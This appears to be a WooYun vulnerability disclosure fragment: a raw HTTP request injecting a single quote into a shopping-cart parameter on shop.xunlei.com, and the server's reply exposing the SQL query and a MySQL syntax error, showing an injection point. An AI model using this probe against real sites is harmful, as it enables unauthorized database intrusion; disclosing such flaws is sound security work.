WooYun.org

GET /mycart/add.html?id=2314&callback=jQuery172022561773657798767_1433952184153&ajax=1&specs%5B25%5D=%e7%99%bd%e8%89%b2'&_=1433952194256 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Referer: http://shop.xunlei.com/item/2314.html
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Host: shop.xunlei.com
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Server: nginx/1.7.1
Date: Wed, 10 Jun 2015 16:05:22 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 11 Jun 2015 16:05:22 GMT
Cache-Control: max-age=86400
Pragma: no-cache
Content-Length: 309
select * from shop_products where spec_array = 'a:1:{i:0;a:2:{s:2:"id";s:2:"25";s:5:"value";s:7:"白色'";}}' AND `goods_id`='2314'
 -- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '";}}' AND `goods_id`='2314'' 
at line 1